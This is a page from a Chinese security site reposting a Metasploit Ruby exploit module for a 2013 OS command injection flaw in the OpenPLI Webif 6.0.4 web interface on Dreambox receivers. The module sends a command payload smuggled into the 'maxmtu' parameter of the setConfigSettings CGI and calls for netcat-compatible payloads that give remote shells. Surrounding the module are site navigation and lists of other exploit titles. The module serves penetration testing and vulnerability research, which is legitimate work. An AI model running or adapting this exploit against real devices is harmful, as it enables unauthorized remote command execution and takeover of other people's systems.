首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenPLI Webif Arbitrary Command Execution Vulnerability
来源:metasploit.com 作者:Messner 发布时间:2013-03-18  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'OpenPLI Webif Arbitrary Command Execution',
			'Description'   => %q{
					Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
				injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
				that you will not see any output of your command. A ping command can be used for
				testing the vulnerability.  This module has been tested in a box with the next
				features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
				Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
				1.06 and Web Interface 6.0.4-Expert (PLi edition).
			},
			'Author'        => [ 'm-1-k-3' ],
			'License'       => MSF_LICENSE,
			'References'    =>
				[
					[ 'OSVDB', '90230' ],
					[ 'BID', '57943' ],
					[ 'EDB', '24498' ],
					[ 'URL', 'http://openpli.org/wiki/Webif' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-007' ]
				],
			'Platform'	   => ['unix', 'linux'],
			'Arch'         => ARCH_CMD,
			'Privileged'   => true,
			'Payload'      =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'netcat generic'
						}
				},
			'Targets'      =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 08 2013'
		))
	end

	def exploit
		print_status("#{rhost}:#{rport} - Sending remote command...")
		vprint_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
		begin
			send_request_cgi(
				{
					'uri'    => normalize_uri("cgi-bin", "setConfigSettings"),
					'method' => 'GET',
					'vars_get' => {
						"maxmtu" => "1500&#{payload.encoded}&"
					}
				})

		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
			fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
		end
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Nitro Pro 8.0.3.1 - Crash PoC
·Sami FTP Server LIST Command B
·Google Chrome 21.0.1180.57 NUL
·Sami FTP Server 2.0.1 PUT Comm
·Fedora Linux SOCK_DIAG Local R
·Cool PDF Image Stream Buffer O
·Ruby Gem Curl Command Executio
·BlazeVideo HDTV Player 6.6.0.2
·Ruby Gem Minimagic Command Exe
·TP-Link TL-WR740N Wireless Rou
·Ruby Gem Fastreader 1.0.8 Comm
·EastFTP ActiveX Control 0Day
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved